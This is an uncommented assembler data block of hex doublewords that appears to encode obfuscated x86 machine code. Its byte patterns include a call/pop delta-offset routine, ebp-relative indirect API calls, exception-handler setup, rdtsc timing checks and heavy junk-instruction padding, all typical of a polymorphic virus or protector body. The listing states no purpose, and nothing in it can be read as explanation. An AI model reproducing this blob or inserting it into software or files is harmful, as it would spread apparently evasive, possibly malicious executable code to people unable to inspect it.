		dd 44810424h, 1B0424h, 57470000h, 776F2C3h, 8FE37B86h
		dd 0B18D2906h, 0F9061D11h, 120995FFh, 6A061Dh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FD9CFC3h, 1789h, 0BE800h, 44210000h, 0A7BFE5AFh, 0EA18C70Bh
		dd 84DF8180h, 5F094DFCh, 7B2B9h, 0C9850100h, 83061D29h
		dd 6AFCFCE1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 911C350h, 0BD239494h, 61D2619h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0B4655D39h, 22040714h, 8166C0B1h
		dd 80E5C0CBh, 0BA42C7h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3DD9C356h
		dd 38B3FB58h, 33AD8312h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 69ED94C3h, 830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 9575D6C3h, 9BEF81AEh
		dd 0D63C016h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 35C35545h, 8D0160EFh,	61D1469h, 1FD9D8Bh
		dd 8B61061Dh, 1D20D195h, 8E906h, 0C4140000h, 7929F122h
		dd 8D8B1860h, 61D331Dh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 27388EC3h, 8092F1FDh, 72BB92DFh
		dd 6A455032h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A033C352h, 4235C4FDh,	0F7818EACh
		dd 37077334h, 13418529h, 0BD83061Dh, 61D3131h, 62840F00h
		dd 60000000h, 91858952h, 5F061D2Bh, 61F2BF0Fh, 0B8h, 19958900h
		dd 8D061D03h, 1D4C898Dh, 0BE806h, 0AC1F0000h, 0ACD438D5h
		dd 0FEC317B8h, 6E9F9h, 5AA40000h, 0C721CB5Bh, 6AE1FF5Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6170C351h, 899C5C27h, 1D00B99Dh, 0F9BD8306h
		dd 61D2Bh, 46C840Fh, 0BE90000h,	0EB000000h, 414B4A6Fh
		dd 0AE3B4BF4h, 0BD830760h, 61D2BF9h, 6A840F01h,	8B000004h
		dd 1D20CDBDh, 0F9BD8306h, 3061D2Bh, 421860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CB3822C3h, 304962Ch, 66D33FCFh, 370BC381h, 0C99D8B60h
		dd 66061D12h, 0BD01D98Ch, 61D063Dh, 6A04E180h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0B8BEC352h, 840FC90Ah, 13Bh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 93C35646h, 0DBD0BFF8h, 8BEAB3BEh
		dd 1D2741BDh, 6800F06h,	33000000h, 1D31099Dh, 0E1858B06h
		dd 81061D20h, 0D5C9C6E3h, 9985337Ch, 6A061D1Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0BF53C352h, 1CE583E3h, 12E9h, 7E0D0100h, 8153E4Dh, 0BA764FC2h
		dd 0CD444F80h, 90B50B4Dh, 0BC62BF66h, 3800F50h,	66000000h
		dd 8990D88Bh, 1D2AA19Dh, 8B006A06h, 1D228D9Dh, 0CAC06806h
		dd 0FE8B7267h, 3F243481h, 6A7278C9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3F58C355h
		dd 11E839A2h, 0E2000000h, 0B4D94EDFh, 435DF728h, 0F3FF290Fh
		dd 601325D5h, 6880Fh, 8C0F0000h, 0
		dd 4595FF5Fh, 0E9061D31h, 0Fh, 0D36F01Fh, 282548EDh, 7E5FF0FEh
		dd 8901BFAFh, 20A36285h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 4A9630Bh, 850175DCh, 61D2ED1h
		dd 21AE9h, 8B6DB300h, 20A35A85h, 15BD8B06h, 0C7061D09h
		dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 18324B2Dh, 0FA8B666Fh, 0A35EB58Bh
		dd 6A0620h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 5723E0C3h, 0C8944DACh, 0E8C8F215h, 11h, 67979574h
		dd 9945070Bh, 0E24EC6D8h, 1E0A90D9h, 8B5FFC09h,	1D147D85h
		dd 79BD0B06h, 89061D2Ah, 858BF806h, 61D20E1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h, 2CCB3822h
		dd 0E9030496h, 0Ah, 9500E97Ch, 747E228Bh, 468914FFh, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0E896AA79h, 11h, 0BD5B9496h,	23400F64h, 9643EEF7h, 0C678281h
		dd 66505F7Fh, 966E38BFh, 3BF7BF66h, 0A35AB5FFh,	8B660620h
		dd 4E8D8h, 3FF0000h, 0E852001Fh, 0Eh, 3714A43Bh, 51E9DF73h
		dd 60F58060h, 5250A504h, 585A310Fh, 0F505B5Fh, 68Ch, 810F00h
		dd 8B000000h, 66042444h, 8BFE8Bh, 0F88B6651h, 2444895Bh
		dd 0D88B6604h, 52006A58h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 1DA7FD1h, 1D042DB5h, 18E0F06h
		dd 0F8000000h, 0A362858Dh, 6A0620h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D8B00C3h
		dd 61D2F4Dh, 60525090h,	310F5250h, 0B966585Ah, 0F614A2Fh
		dd 5AA6B731h, 0DA8B5058h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 5751F656h
		dd 5A35CC5Ah, 16F58509h, 9D8B061Dh, 61D04F1h, 314595FFh
		dd 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0EAF33EC3h, 11BD8BE9h, 61061D32h,	33D8D09h
		dd 85C7061Dh, 61D2BF9h,	3, 38F0Fh, 0B70F0000h, 62BD83FAh
		dd 620A3h, 45840Fh, 0AE80000h, 50000000h, 0D873223Eh, 0B0467390h
		dd 985896Ch, 5F061D31h,	45E9h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 224AD4EEh
		dd 664AB207h, 0AEC7E381h, 50F98B66h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0AB3D2AC3h
		dd 55006A47h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0D5FE8710h, 478CA502h, 9D895055h, 61D20F5h
		dd 2BF9BD83h, 0F03061Dh, 4A685h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 6ADB9C9Bh
		dd 89D98B12h, 1D2F81BDh, 62BD8306h, 620A3h, 471840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F1680DC3h, 90ED217h, 1D20759Dh, 97CF8106h, 0FF1B03BEh
		dd 20A362B5h, 0DFB70F06h, 2B0995FFh, 5E8061Dh, 0FE000000h
		dd 64FE3488h, 819D0950h, 5B061D00h, 56B58B5Bh, 8B0620A3h
		dd 1D01C1BDh, 106C706h,	0F8000100h, 2ABB6696h, 10E95042h
		dd 21000000h, 13267987h, 80BB3E7Bh, 92639E86h, 9694A4BBh
		dd 62B5FFF8h, 660620A3h, 95FFF88Bh, 61D2081h, 0A356B58Bh
		dd 95310620h, 61D0781h,	858BD98Ah, 61D0085h, 89FB8B66h
		dd 0C486h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0F1E07FF7h, 0D3ADBB1Fh, 958B05D1h
		dd 61D20D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0F6C35646h, 812F08F8h, 0EB88A6D3h, 4C28324h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 95C35040h, 0E9318F24h
		dd 7, 39541512h, 80B93B8Ch, 508940DFh, 0C6C78020h, 810Fh
		dd 858D0000h, 620B678h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 54C35242h, 0B9F04862h, 6E92521h, 0F3000000h
		dd 0A59A0E27h, 11E994h,	0E5740000h, 2D26ABD6h, 6894AD29h
		dd 0FF140C4Eh, 89C999F4h, 0B886h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0B62B3C78h
		dd 0E9BD0135h, 6A061D17h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 4113F429h
		dd 2800FECh, 8B000000h,	0BE8DEh, 23040000h, 9009F51Bh
		dd 0D2A22EDAh, 68D0FEBh, 81000000h, 0CD98A0E3h,	0B5FF5F0Fh
		dd 620A362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0EC35747h, 13164EFh, 34C0C879h,	0AE8h, 1B797200h
		dd 800D1BDBh, 9A84D18h,	1D17D58Dh, 8B665F06h, 6995FFFEh
		dd 31061D15h, 1D31A1BDh, 50609606h, 8E952h, 2E990000h
		dd 0EC8A99E7h, 310FCD79h, 0BE66585Ah, 5061D19Ch, 96DA8B66h
		dd 3FD78166h, 62B5FF4Bh, 6A0620A3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0CB54C357h
		dd 9802A6A8h, 9E8h, 5644300h, 62FE0A70h, 0B58998DAh, 61D04E1h
		dd 9595FF5Fh, 6A061D1Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 472AC356h, 0EDAF0D3h
		dd 46B9BFD7h, 0D7816650h, 835F511Eh, 1D2C71BDh,	840F0006h
		dd 6Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 40C35747h, 0EA9F4D99h, 819D23DDh, 0E9061D16h, 7, 8DA412ABh
		dd 96EDBE14h, 28C0Fh, 0DC8A0000h, 8E95050h, 0AA000000h
		dd 35682132h, 5F3E780Eh, 50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0CD35D1C2h, 0FFB6BCB4h
		dd 20A362B5h, 2880F06h,	0B3000000h, 0AD95FFE7h,	8B061D09h
		dd 1D22919Dh, 0FF27B706h, 20A362B5h, 1858906h, 60061D18h
		dd 13DD958Bh, 8B66061Dh, 95FF61DEh, 61D2A71h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B4C35242h, 8D89725Dh
		dd 61D1A91h, 3EDBD83h, 0F02061Dh, 7184h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0A40EA9DDh, 49858BB9h, 6A061D2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0C05AC356h
		dd 0DE9CB096h, 7D86B150h, 13E9h, 70511900h, 0A85C7366h
		dd 1180DC81h, 2ABF3290h, 340EB937h, 1C418529h, 0C6061Dh
		dd 0CB816600h, 85C7B77Dh, 61D00D5h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DC35141h
		dd 0C6A9859Ch, 0FE94Dh,	0ACF80000h, 93EA5DDCh, 17F1680Dh
		dd 4C5F0ED2h, 2FCB81FEh, 0E96FA97Bh, 0FFFFF21Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D7C35646h, 534BCC70h
		dd 8B13B367h, 0F9BF0FC1h, 421858Dh, 7E9061Dh, 5E000000h
		dd 0E1286E78h, 0E850D739h, 8, 0C2E1C3B0h, 0D6EEA0EEh, 5FDA8B66h
		dd 8B240489h, 1D19359Dh, 8B006A06h, 1D1D5DBDh, 57006A06h
		dd 2A5DB529h, 8D5B061Dh, 21B1FB85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 3D9C2574h
		dd 0F41543Dh, 0C083FABFh, 0E19D8905h, 90061D17h, 58E0Fh
		dd 58BF0000h, 50771FBAh, 310F5250h, 0BC60BF66h,	0F90585Ah
		dd 0A81h, 0B9666000h, 0BF6659B6h, 6A61C048h, 0FD9D8B00h
		dd 29061D01h, 1D2ABD9Dh, 8A006A06h, 3995FFFAh, 0F061D2Ah
		dd 381h, 0D9B70F00h, 2A8D9589h,	8D8D061Dh, 6209535h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 15C35545h, 6806803Bh
		dd 0FF6D18A0h, 71BD8BD1h, 83061D11h, 1D31C1BDh,	850F0106h
		dd 6Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 0B2C35747h, 7ABB2EFDh, 6A288022h, 51006A02h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D0B32F2h
		dd 61D1F95h, 0DF8B6650h, 31240489h, 1D02F58Dh, 6995FF06h
		dd 0E9061D15h, 0Bh, 0A5CD0C5Dh,	6CA5A0Dh, 0E95087D2h, 0E7Ah
		dd 0E8h, 0ED815D00h, 621B205h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 64C35545h, 0B516ED5Bh, 8B7E4D3Eh
		dd 1D123D9Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 4FDE7509h, 8D2C5432h, 208D2285h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 3817A79Bh, 74F779E6h, 5A9CBF66h,	24048950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B0C35141h
		dd 642ABA40h, 9E993C2h,	0A6000000h, 919CD966h, 6FBB3B26h
		dd 35FF64h, 0F000000h, 488h, 58536000h,	25896461h, 0
		dd 68ADF81h, 0BD8B1183h, 61D1555h, 1BC185FFh, 9D8B061Dh
		dd 61D2CBDh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 3C8C7C3h, 1D05019Dh, 31B5FF06h
		dd 8B061D2Bh, 1D025DBDh, 0D595FF06h, 0E9061D2Ch, 0F3h
		dd 0B0DE8B66h, 0E970E600h, 6, 11BC0568h, 71E42214h, 613CDE8Bh
		dd 0D5830Fh, 8C0F0000h,	0
		dd 8BC8B60Fh, 1D27F99Dh, 6BA06h, 0E7800000h, 0FC18B2Fh
		dd 0B8Bh, 58F0F00h, 66000000h, 0DFBACB81h, 8B04E8C1h, 0E2F766FEh
		dd 1E99531h, 0C82B061Dh, 84C3E781h, 0D18B5051h,	3499D8Bh
		dd 88E9061Dh, 9000000h,	1D1FC5B5h, 8858B06h, 0E9000000h
		dd 7, 30C52A25h, 83AFA723h, 0F88B07C0h,	0F00C083h, 0D03BFAB7h
		dd 22830Fh, 0BB660000h,	8A0FFEF8h, 1, 4DE9F9h, 0BD890000h
		dd 61D2F55h, 68C0Fh, 0BD290000h, 61D2085h, 0FFFF8D8Bh
		dd 0BD8BFFFFh, 61D065Dh, 0F01E183h, 2684h, 0FFA58300h
		dd 0FEFFFFFFh, 0C8D0Fh,	800F0000h, 6, 840Fh, 95890000h
		dd 8, 0E9FA8Bh,	8D000000h, 213296B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 1F0E925Ch, 89DFB70Fh, 1D25ED9Dh, 8B006A06h, 1D024DBDh
		dd 995FF06h, 6A061D12h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2819C353h, 3CA4E3E2h
		dd 107DB9h, 0E183FC00h,	8E9FCh,	16E80000h, 6E7338FAh, 0D381EB31h
		dd 3E486311h, 65BD8BFCh, 0B8061D30h, 0
		dd 0AE8h, 0B1244700h, 2AC1632h,	8B6C9B56h, 1D29759Dh, 0BA5F06h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0B03FC352h, 0A3AC0D8Fh, 0BE9F1h
		dd 0F6780000h, 25E66C73h, 417ADE66h, 0C233AD95h, 0D003E8D1h
		dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 32BD71D0h, 3552EAh, 3890Fh, 8B660000h
		dd 880DF9h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 180424h, 55450000h, 35B0E5C3h, 0D88BDCE6h, 20D1958Bh
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E4E3A2C3h, 8B379C97h, 0DF8B6684h, 331D8D8Bh
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 64FAEAC3h, 85F14692h, 0CF81DBACh,	205C018h
		dd 9419D89h, 0BD33061Dh, 61D30D5h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0D06081C3h, 0BD8B8672h
		dd 61D06BDh, 0EE9h, 38574F00h, 3B5112A6h, 0BC50F30Ch, 0E9D161B2h
		dd 14h,	660DF9FDh, 36C0BAB6h, 539F8C5Dh, 41937E7Bh, 57412C6Ch
		dd 3131BD83h, 0F00061Dh, 7A84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BF06A1C6h
		dd 0B8h, 61CDBB00h, 8D8D7EFDh, 61D4C89h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0DAC35646h, 52B8B469h
		dd 0A88CBB66h, 6AE1FF5Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 8D7BC352h, 511AFB11h
		dd 83EB87F3h, 1D2BF9BDh, 840F0006h, 458h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 39C35545h, 429C5422h
		dd 5BFA8BCDh, 0BD831FB3h, 61D2BF9h, 40840F01h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 4F3CC351h, 258C6340h, 0CFE38064h,	2BF9BD83h
		dd 0F03061Dh, 3D886h, 9D9D2900h, 60061D09h, 6AD98C66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0D0A7C350h, 235057D3h, 1D01119Dh,	815B5B06h
		dd 4E44FBEFh, 4E18034h,	0AE9h, 39036E00h, 0C250B991h, 0AA0FB47h
		dd 49840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BD2C353h, 1D20E185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 90BF66A4h, 86BB66BCh, 998533F0h,	89061D1Bh
		dd 1D015D9Dh, 3EBB9006h, 50352C56h, 12C4BF66h, 2EE78190h
		dd 6A16BD7Eh, 0DE900h, 0CFC20000h, 9A3C3924h, 126E221Bh
		dd 68C255A9h, 3BA242D4h, 0E4ACBA60h, 0BA664661h, 81618CBEh
		dd 412B2434h, 6A3BBDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0E360EAC3h, 0FE8B75A2h, 95FFDC8Ah
		dd 61D3145h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0B6C35646h, 0AD8486D6h,	6830Fh,	8D090000h, 61D3129h
		dd 0A3628589h, 6A0620h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 4D4B96C3h, 60DF82C9h, 81FE8B66h
		dd 0AF4830F7h, 6E96137h, 6A000002h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0E33FC351h
		dd 0FA6BF9F3h, 0C8D35F3Bh, 9D1303BBh, 0DBB70F68h, 0A35A858Bh
		dd 81660620h, 0C72B4BC3h, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DED20702h
		dd 2FA1418Eh, 1B558D89h, 0B58B061Dh, 620A35Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D6C35040h, 0FFF3497Fh
		dd 36045B5Dh, 9529F8A9h, 61D26A1h, 147D858Bh, 0FA8B061Dh
		dd 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0B29CE4C3h, 0B4787401h, 0B5895DB9h, 61D1901h
		dd 995BD33h, 858B061Dh,	61D20E1h, 0BE9h, 0E9775B00h, 0C902D1F9h
		dd 778DD969h, 0E8044689h, 12h, 4C964442h, 3C8997E7h, 9D7BC8CAh
		dd 0BE788E17h, 0F88B02E9h, 0AE9505Fh, 29000000h, 0D5D921A5h
		dd 1416E03h, 243489E9h,	5933CF81h, 0B5FF2949h, 620A35Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 79C35343h
		dd 0C9BD8B2Eh, 68061D2Ch, 7AE70B70h, 81F88B66h,	88F2434h
		dd 6A7AF8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0FA23D5C3h, 85BD2383h, 89061D2Ah,	1D1D4D85h
		dd 62858D06h, 6A0620A3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 2188C353h, 8D3B80E6h
		dd 4FA99C51h, 2BD1BD8Bh, 0E950061Dh, 0Fh, 0CEB371AEh, 11BA2114h
		dd 530D148Ah, 898409A1h, 56512404h, 2CF59589h, 5F5F061Dh
		dd 314595FFh, 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 11E325C3h, 0CA10C71h, 8BC293F1h
		dd 1D30E1BDh, 6A6106h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0A4F279C3h, 665D886Dh, 0E8ED781h
		dd 2BF985C7h, 3061Dh, 0B5890000h, 61D04A5h, 0A362BD83h
		dd 0F000620h, 2084h, 999D3100h,	89061D25h, 1D04BDB5h, 2AE906h
		dd 7E80000h, 44000000h,	167CDE6h, 0DC8A58D7h, 0C30505Fh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 82C35141h, 25884514h
		dd 58BED968h, 13E9h, 6E89A900h,	841976Fh, 30F36C4Eh, 36656761h
		dd 0DD99F068h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0C35242h, 0E8A18357h, 9, 61DDF248h, 767AB50Ah
		dd 7E93Fh, 0EA250000h, 43A380Bh, 0BD835BB7h, 61D2BF9h
		dd 7D850F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1B4BC357h, 9EEB779Dh
		dd 12E9CEh, 6030000h, 0F0693E39h, 0E9969B90h, 0F055E7EAh
		dd 0B39AD6Ch, 2890Fh, 0FDB70000h, 0A362BD83h, 0F000620h
		dd 42F84h, 0CE800h, 97920000h, 26ACBA8Ah, 0D0A6928h, 0B5014C79h
		dd 61D0BF9h, 62B5FF5Bh,	6A0620A3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66E0C356h
		dd 82BBF98Bh, 0FF7A2DF2h, 1D2B0995h, 95BD8B06h,	8B061D08h
		dd 20A356B5h, 0C7F98B06h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0E8503646h
		dd 12h,	41F020F2h, 3FF01EB3h, 5521C9CAh, 4459708Ah, 60538927h
		dd 895B5F61h, 85892434h, 61D195Dh, 0A362B5FFh, 6A0620h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 43360EC3h, 7420169Eh, 65BD2949h, 60061D2Ah, 8FD8589h
		dd 0B589061Dh, 61D30A9h, 8195FF61h, 6A061D20h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0D030C353h, 5D9D8922h, 8B061D08h, 20A356B5h,	178D0F06h
		dd 0E9000000h, 12h, 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh, 0AB17D02Bh
		dd 858BFCD1h, 61D0085h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0FC35747h, 119D3371h,	89061D06h, 0C486h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0B3860FFAh, 0DE85455h, 1F000000h, 0B3BE820Eh
		dd 0A3AB398Dh, 74519526h, 0CE960h, 8BDA0000h, 0B7743699h
		dd 43E44F20h, 958BF144h, 61D1A79h, 958B5B61h, 61D20D1h
		dd 9E9h, 99F4FF00h, 795056C9h, 0C2833129h, 70F78104h, 897CA50Fh
		dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0F7850AC3h, 74B40530h, 19149EDh, 1D1FB5B5h
		dd 78858D06h, 6A0620B6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5928C351h, 0FFADB8Ch
		dd 8Ah,	0B8868900h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0EE12C357h,	0D874C381h
		dd 6A3F1Bh, 89FFBF0Fh, 1D0BA185h, 62B5FF06h, 0E90620A3h
		dd 5, 1FDCA64Ah, 6995FF52h, 6A061D15h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 3A17C355h
		dd 0B2741379h, 0E996E849h, 0Ah,	1CBB6A9Ah, 13F0DC8h, 50508A7Fh
		dd 0E9310F52h, 9, 752945D7h, 1F40BBFEh,	96585A96h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 8C35343h, 0FFBA075Ah
		dd 20A362B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8D10FB57h, 0C7816648h, 95FF5B83h
		dd 61D1A95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0D6C35040h, 0C6ED0B85h,	0F72A449h, 0BD83D9BFh
		dd 61D2C71h, 48840F00h,	0E8000000h, 0Ah, 0CD665275h, 0CB314EE7h
		dd 850F3C17h, 6, 0D0EFDF81h, 965B66A9h,	0BB3BBF51h, 505F0A7Bh
		dd 0F525060h, 8Bh, 66310F00h, 5A013FBFh, 56525058h, 50310F5Fh
		dd 61585A58h, 69BD8B96h, 0FF061D12h, 20A362B5h,	0FB75BB06h
		dd 95FF6CA7h, 61D09ADh,	3061BD8Bh, 0B5FF061Dh, 620A362h
		dd 12C98D89h, 8E9061Dh,	90000000h, 6CA16C44h, 0FF1A9C8Ch
		dd 1D2A7195h, 0EDBD8306h, 2061D03h, 4F840Fh, 8BF50000h
		dd 1D2F4985h, 178E0F06h, 0E8000000h, 11h, 0A5BDA29Bh, 4D0B257Dh
		dd 60D6D809h, 0D6403CDFh, 0C65F18h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 6850FAFh, 31000000h
		dd 1D318DB5h, 0D585C706h, 61D00h, 0E8000000h, 0Bh, 0FD3B10F9h
		dd 0AFB8943Dh, 8A432489h, 0BD895FDEh, 61D28BDh,	0FFF2ABE9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0D4C8CD01h, 6AC18Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858DCEC3h
		dd 61D0421h, 48950F5h, 56006A24h, 3E8h,	0C35E2000h, 2474895Eh
